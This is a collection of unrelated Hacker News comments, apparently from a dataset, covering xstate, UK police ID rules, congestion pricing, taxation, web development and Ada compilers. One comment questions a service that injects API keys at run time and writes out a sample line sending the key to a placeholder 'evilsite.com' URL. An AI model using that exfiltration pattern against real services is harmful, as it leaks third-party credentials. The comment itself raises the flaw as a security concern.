skysight-inc/HackerNews huggingface dataset:
As a company we’ve been experimenting with xstate for about a year. Generally speaking, bug counts go down as a direct result. We’re at a point now that it’s part of our process — a key deliverable as part of our first phase of development is what we call a “navigational statechart” which informs the development of the wireframes. The beauty of this process is that we can take that same statechart directly into the later development stages.
Bug Bombs Don’t Get Rid of Bugs, Study Suggests
As I understand it, and I am not a lawyer, you don't have any obligation to identify yourself unless you are arrested.

If you get stopped in a vehicle, police may ask for your driving licence. If you don't have it you're issued a "producer" which requires you to produce your licence at a police station within 7 days. This only applies to traffic stops.
> parking meters don’t charge different rates to users based on their income; you have to pay the same amount to park your used Jetta as you do your new Mercedes [...] That’s inequitable.

I guess it depends on which end of the political spectrum you are, but this sounds absolutely obscene to me.
That is incorrect. The halting problem can be answered -- every Turing Machine either halts or does not halt on a given input. Undecidable only means that we cannot have a single algorithm that outputs the correct answer in every case.
Arguably, Nick Cameron is an agent of the Knights Templar and Cargo is a secret plan towards world domination. You need to say why you think things are plausible.

(In this exact situation I do know that there's a quality gate later in the process, and it would be very easy for you to determine that too with at most five minutes of research.)
Definitely agree. CSS is there to provide uniformity across an application's (or website's) UI. Its global for a good reason.
Globalization and colonization have been always linked and globalization usually starts with either with colonization or something that looks like it. Adam Smith himself argued that the discovery of the Americas by Christopher Columbus accelerated the process of globalisation [1] (without using the word globalisation).

When Chines build roads to extract resources with questionable intent, those roads and electric grids are free for all and not all traffic goes to China. Some even question the net value of Chinese efforts for the Chinese.

[1]: https://www.economist.com/free-exchange/2013/09/23/when-did-...
I disagree: I don’t think we know what features of the underlying model lead to the emergence of things like superconductivity, and having to account for that explicitly will demonstrate a new paradigm for analyzing the base mechanics — which is likely to lead to a new interpretation and “new physics”.

I’ll also note you didn’t reply to two big ones:

They can’t predict proton on proton collisions in a hyper controlled tube accurately.

They can’t predict how the two most established theories, each boasting dozens of orders of magnitude of accuracy, interact.
Level 3 shouldn't exist. Multiple self-driving car makers have studied the issue and have concluded that Level 3 is too dangerous for humans, because human reaction is too slow to deal with the imperfections of a Level 3 system, all the while "expecting it to work flawlessly 90% of the time."

You can't just tell humans, "Hey, this works 90% of the time - it's up to you to decide when to take over that 10% of the time. Oh, and we've legally covered in the ToS footnote, just in case you think about suing us later! Best of luck, though! Thoughts and prayers for you and your family."
It sounds obscene to me too.

A car uses a parking spot. The spot is no longer available for someone else- regardless of your income. Incomes is orthogonal to the problem.

Flat taxes are the fairest taxes.

Take trash taxes for example: you produce 100 lbs of trash, you pay for 100 lbs of trash because disposing of 100 lbs of trash in a landfill or a recycling facility won't be affected by the income of the person having produced said trash.

Want to pay less taxes? Produce less trash.
How do these people live/survive? Do they have income coming in from somewhere or do their families support them? I know a few people that would like to stay inside and do stuff they really like (play games, read books, draw, write...) but they don’t have the means to do it.
Another issue has to do with the actual physical/materialistic reality. Don’t they need to buy food, put the garbage out, visit the doctor, buy stuff...how is it possible for someone to stay months or years inside the house?
Does "reasonable suspicion" imply an unspecified crime? Does it have to be the case? Suspicion doesn't necessarily mean that it is the case, so as long as they can come up with reasons, it's fine, and they don't need to be correct, or at least they won't get "punished" for being incorrect. Is it wrong? I am just trying to gather more information. :D

Hmm, how do you generally prove identity in the UK?[1]

[1] Actually this is something I could easily look up on the Internet, sorry. I don't mean to waste your time.
You see someone, they notice a sign "police: cameras being used for facial recognition", one person turns away and immediately seeks to conceal their identity ... I'm sure people will come up with lots of creative reasons why the person covered up but the most likely is because they knew themselves to be a criminal the police would care about.

As you consider you would get in the same situation I'm curious why you would cover up?

Aside from that, I thought police were using facial recognition in public cctv already.

So, I suspect the sign works rather like the "pickpockets in this area" signs that /pickpockets/ put up; they encourage people to reveal themselves.

tl;dr is there a reason to cover up except hiding criminality?
Presumably the owner of the Mercedes is already taxed more than owner of the Jetta, when paying to register the vehicle, and also likely on the original income. Should the owner also be charged for its use? Should toll booths be more expensive too?
I don't understand how people don't get that... Like, half of the concern about global warming/climate change isn't warming per se - it might be a good thing if we'd be able to grow food in Siberia - but change - the unforeseen, unpredictable consequences of throwing a complex chaotic system out of a balance it's maintained for millions of years. Now exactly the same applies to GMOs, but all of a sudden the "scientific community" reaches the opposite consensus.
I've argued both sides of this for a long time. The short argument for web apps are that you have real control over them, which means any platform, any time. An iOS app from five years ago is useless without recompilation with the current toolchain, and even then it only works on iOS. A web page from 1994 still renders unmodified today, on any platform, and will for the foreseeable future.
If buzzfeed hadn’t laid off people she wouldn’t have received these job offers as she would have been none the wiser.
And I think MS recently officially stop supporting IE11.
> Unlike C#

How do you figure? The Csharp compiler is Apache licensed.

https://github.com/dotnet/roslyn/blob/master/License.txt
IMHO the family, friends and social surroundings play a big role in it. If you don’t have someone to take care of you (or you to take care of someone else), then I guess it’s easier to withdraw and shut everyone out.
The weird world of YouTuber burnout
I see. I hope it works out well in practice too, but I always show ID when asked, as a "just in case" scenario. I don't live in the UK though. If I were to live in the UK, and the cops asked me to do something, I would probably do as asked because I don't want any trouble or surprises! :D
It is all getting a bit silly really. The web needs to be accessible and not restricted to those under thirty that know lots about build tools and little about the world. I prefer the web as originally envisaged with the HTML being essentially human readable rather than obfuscated machine code. It doesn't need to be some data rendered on the frontend by scripts that embed CSS, everything works fine if done old school but properly.

After the browser wars, the iPhone, RWD and frameworks we were left with a complicated mess. But CSS Grid, CSS variables and HTML5 semantic tags have came along with Javascript that you can just use without some silly 'jQuery' thing to make it cross browser.

The choice is ever more complication - which is not accessible - or back to basics with sensible document structure - Tim Berners Lee style - and everything accessible. By accessible I mean code that mere mortals can edit and update.

Nobody is asking if what they make can be edited and maintained in ten years time. If you are making the next app, e.g. Instachat for Squirrels so they can find their nuts then yeah, go with the mountain of here today, gone tomorrow build tools. Otherwise, if you are primarily just writing stuff for people to read then all the assumptions of modern web development have to be questioned.

There is a movement out there to 'intrinsic design' and using what the browser does rather than reinventing the wheel. Part of this is to use the CSS Grid layout engine, the HTML5 inputs for validation and CSS variables to make everything responsive. Pages written this way are just plain quicker, easier to maintain and likely to last.
PSPACE-complete is an example. EXPSPACE is another.
I have a tangential question.

I'd love to be able to get into stuff like this, but when I see the pages of equations.... my eyes just glaze over and I lose track of what's what.

I get that it's a skill I lack and I'd love to improve on it. I'm wondering if anyone knows any good resources specifically for this? Something that takes you through _how_ to read equations, preferably something that starts off simple and gradually gets more complex?

Intuitively I can watch something like a 3Blue1Brown video and get it (or at least feel like I understand it on some level). I'm just not sure where to find practice material for reading equations that doesn't start right at the deep end, or even if I'm looking at this in the correct way.

For reference I have no trouble jumping into a new programming language; I immerse myself in the culture and idioms of the language, learn what the reasoning behind the design of the language is, learn the syntax, etc. I just can't seem to find a way to do this with written math and equations.
Apollo 11 documentary official trailer [video]
the x250 is a really bad design, thinkpad after the x230 are getting worse to bad.
It's not, but it would only show up in annual or bi annual safety inspections, if their area even had them. In the US it's on a per state basis, with emissions testing on a county level in some states.
This can't be accurately called "collusion" since it's not a secret, it's still a cartel thought but lucky for them EU regulators have eyes only for US companies.
Now do water.
Given the current size of the U.S. nuclear weapon stockpile, it seems entirely feasible to blast a 2000-mile-long trench between the two countries. That would work.
Enable trim for all SSDs on SAS cards
Many people had to die for us to learn the safety aspects of flight (learning by failing)
Basically the police can stop you if they have "reasonable suspicion of committing crime x" and they have to tell you which crime they suspect you of and why.

To prove who we are we can use a driving license or passport, if we have one. But there are many people with neither. In that case it's quite complex and usually requires a trustworthy person (doctor, lawyer, chartered engineer) who knows you well to confirm your identity.
There are a few of these sorts of things already. I'm not really talking about opinionated frameworks (or collections of various github projects stuff into a big meta project). https://reactjs.org/community/starter-kits.html

What I'm talking about is something more akin to this statement:
https://angular.io/guide/forms-overview "Handling user input with forms is the cornerstone of many common applications"
For your submission, you might want to think about writing a blog post instead of linking to your front page. The question mark in the title is also misleading when it's your own site.

As for the site, you probably need to break your examples out into a separate page (apart from maybe one, that demonstrates some killer features), and think carefully about how much to include above the fold. There are 164 words across the three boxes, and you will lose people.

As for the service - personally I don't quite get it. Is the idea "ease of PHP, power of serverless JVM" ? Not sure why I want inexperienced developers contributing to my projects?

And a question:

"During run-time, Chancla.io replaces the security token with the real API security key before calling the third-party API."

Then you show:

new URL("https://api.mlab.com/api/1/databases/commerce-db/collections/cart?apiKey={{mlab_security_key}}")

Is that an example shared security key? Could I exfiltrate that by doing this?:

new URL("https://evilsite.com/steal?key={{mlab_security_key}}")
Numba provides a Python decorator (like Java annotations) to opt in to native compilation: http://numba.pydata.org
AdaCore maintains the GNU compiler as well. As a result, the GNU and AdaCore compiler (Community and Commercial) are essentially the same. The Ada community in fact just calls them all GNAT and then specifies further if it's relevant. The main difference is that GNU can lag behind a bit historically, but recently there has been some initiative from inside AdaCore to tackle that issue and they've done a great job.

Grab whichever is easiest for you to get started with. It's a weird and ultimately meaningless situation license-wise. If and when licenses matter, grab the GNU version. Unless you're doing something that requires a support contract anyway, then you'll end up with Pro.

I really wish AdaCore would do something about that Community edition. I have no idea what purpose it is supposed to have. In my opinion, right now it's mostly a thorn in the communities side. All it does is create a bunch of hesitation and confusion about the licenses and compiler capabilities for newcomers. As a result, before people even start with Ada they're getting deep into license discussions which is just a wonderful first impression. And worst of all, it's all basically for nothing because they're at most slightly different versions of the same software with a different license.
iphone lacks vital hardware, it has no keyboard.

lacking a keyboard is abysmal productivity vs being able to type and do key combinations.

try using stuff like vim/emacs or byobu/screen on an iphone, try to select and middle click to copy/paste, or any of the key combination we use all the time in the shell.

no keyboard = no go.
The point of the article is that the same arguments work in favour of congestion pricing.
The point of the article is that that would be ridiculous, right? I think most people people anywhere on the political spectrum would agree; that's why it was used as an example.
The argument isn’t about whether the quantum of taxes is appropriate. It is how a fixed quantum turns a disincentive for some into an irrelevancy to others. If the purpose of the cost is to discourage use (peak period congestion charges), then it should vary with income so as to be a equally discouraging to all to whom it applies. For your example of trash collection, by having a fixed fee the state creates a greater incentive among the poor to reduce their trash production, whereas the rich aren’t affected and can produce far more before they feel the incentive to reduce waste.

I think the parking spot item is more like a meal at a fine restaurant - there is no incentive or disincentive from a social standpoint that should justify variable pricing on income. But to the extend there is, say via congestion, pollution, etc, it is reasonable to vary pricing in order to equally apply the disincentive.
I’ve worked at BigCorp(s) and seen similar things but from the other side. Most people absolutely hated oracle from the director who ran the teams to the admins and devs.

The only people who liked Oracle were VP and above. They were so short sighted they signed a deal with Oracle after they drastically cut support costs the first year. They were so shocked in year 2 when costs went north of 1 million. Making Oracle much much more expensive than the competitors who also bid. Everyone knew the competitors were less expensive in the long run and actually good products.

Not to mention the time they were audited and owed big time due to a webservice sending changes to our ERP system.
QED is fantastic as well...
There are lots of people who don’t think a flat tax on income is the fairest tax. Presumably a person whose income is very large has a lot more to lose if society collapses so they should pay more to maintain society. I tend to believe progressive taxation on income/wealth is the most fair. But I’m someone who believes that there should be a ceiling and a floor on how much a person can have. The distribution of resources and wealth in the world is grossly unfair in my opinion.
The ideas there appear to consist of using the hair, or attached fake hair, as a mask; or attaching fragments of a mask (particular reflective pieces) to the skin.

They seem mostly very obviously designed as masks.
https://en.m.wikipedia.org/wiki/Round-the-world_ticket can help them
Reasonable suspicion that you are breaking the law, or are about to break the law. They may be required to justify their grounds, i.e. what they suspect you of and why. They have been known to simply ignore those requests for why.

e.g. I suspect you of going equipped to commit burglary due to your stripey jumper, crowbar and bag with "swag" printed on it.

Proving ID is usually done via passport or driving licence. If you don't have those producing a couple from bank statement, utility bill or council tax bill is usually enough. I'm old enough to have got bank account without any requirement for ID at all. Yes, that means it can be a chain of circumstantial evidence rather than proof.
I don't agree with the fact we should tax more expensive cars for parking.

But I don't think your reasoning hold either.

If you have more money, it's easier to take less parking space, and produce less trash.

I can certainly attest that it's easier for me now: I can afford a private parking lot and taxis, I can buy food in expensive organic shops that have less packaging, I can pay people to do things for me, that would result in more work, but less waste.

Basically, when you have money, you can optimize for way more things than when you are constrained financially.
Did you try the "desk.os" link that is link number 3 on that page... https://linuxontheweb.appspot.com/desk.os ?
I can really only guarantee that things work on a relatively recent version of Chrome (like within the last few stable releases). The version that is live now is a couple weeks old. I'm working on some really cool features for the modular synth app right now. I'd love to start sharing this stuff with you guys!

Also, link number 5, at https://linuxontheweb.appspot.com/shell.os is for people who just want to poke around the deep system internals via a command line. For that, you need to use the "import" command in order to pull in libraries of commands. For instance, running a command like:

$ import fs && vim

should open up my custom-made vim clone.
A poor person's car takes up the same number of parking spaces as a rich person's car, and a rich person has already paid a huge amount of their income to the poor person in the form of income taxes and welfare.
Google/apple don’t provide tooling for users to control ios/android app, and most apps are compiled without source code available / verification of the binary. With a web browser you are actually executing interpreted code so it’s easy to read the source, block ads etc
Nah, mostly it's just (IMO) the result of AdaCore being needlessly confusing. AdaCore also maintains the GNU compiler, which is what their Pro offering is based on. I'm not really sure why the Community edition exists, as it's basically at most a slightly different version than the GNU offering.
This seems rather US-centric, but perhaps there are some universal things in there? In The Netherlands, we usually split off some of the issues; for example there is the tax that covers road usage paid per active registered vehicle. This depends on the vehicle, so depending on how expensive/big/powerful etc your new car would be, you'd pay more or less tax. For public transportation, more and more networks are getting dedicated lanes or even dedicated roads, so buses for example are not affected by what the cars happen to be doing at that time.
let’s ask what it takes to create an overall system that is fair to all, considering all aspects of how the system is paid for, who benefits, and who bears the external costs

Here's a crazy idea: instead of pricing congestion, let's introduce a point system with quotas tied to license plates and surge point deduction.

Puts a hard limit on the number of cars that enter the zone and applies both to the rich and poor equally.

Unless of course some of the rich decide to buy additional cars just so they can drive more - although I don't think many would be willing to go to such lenghts.
https://en.wikipedia.org/wiki/Burqa is a religious tradition
The only reason you can make fantasy weapons or live in the Swedish forest is because those things don't threaten the man. Try exposing state war crimes and see how far you get with your "freedom".
Racism is indeed stoked and used for political ends, but it is still rooted in the natural human fear of tribal out-groups (people who speak, look, act, and believe differently)

>Calling it merely a "human" problem ignores the strong relationship between racism and the legacy of European and American colonialism.

Framing racism solely in terms of American and European history is woefully ignorant of the extensive world/human history of ethnic discrimination/slavery/murder/genocide. Have you only ever studied American/European history??

https://en.m.wikipedia.org/wiki/Arab_slave_trade
Unrelated but not everyone can be a body builder.

https://en.m.wikipedia.org/wiki/Myostatin
"Japanese parents feel a strong obligation to support children no matter what and shame often prevents them from seeking help, says Kato."
> is there a reason to cover up except hiding criminality

This is a pretty standard “nothing to hide” argument.
Sounds like someone has a lot of trust in the police.

I don't want my face to end up in any kind of database where the cops could always look up where I've been the past week and track my every movement. Neither do i want tons of recordings from different angles of my face in someone elses hands, due to how easy it is nowadays to plaster my face onto someone else.
> it is reasonable to vary pricing in order to equally apply the disincentive.

No, it's not reasonable. The goal is not to discourage use, but to price in the negative externality.

> For your example of trash collection, by having a fixed fee the state creates a greater incentive among the poor to reduce their trash production,

And that's good, even if we suppose your argument is right. Bear with me: what's the percentage of the population in your country that you would call "rich"? Let's say 20%.

Do you think that 20% of the population can create more bags of trash than 80% of the population? I don't think so.

In the parking example, do you think 20% of the population can park more cars than 80% of the population? I don't think so either.

Someone rich may have more than one car, but I strongly doubt they are able to drive 2 cars at once.
>I'm working on react-qml to pursue that exact goal: bringing React model to desktop UI development

This project looks really interesting, definitely something I'll be following.

Do you have any plans to expand on documentation a bit more? At present your HN comment tells me more than the README does.
And then how about those can’t even afford a car?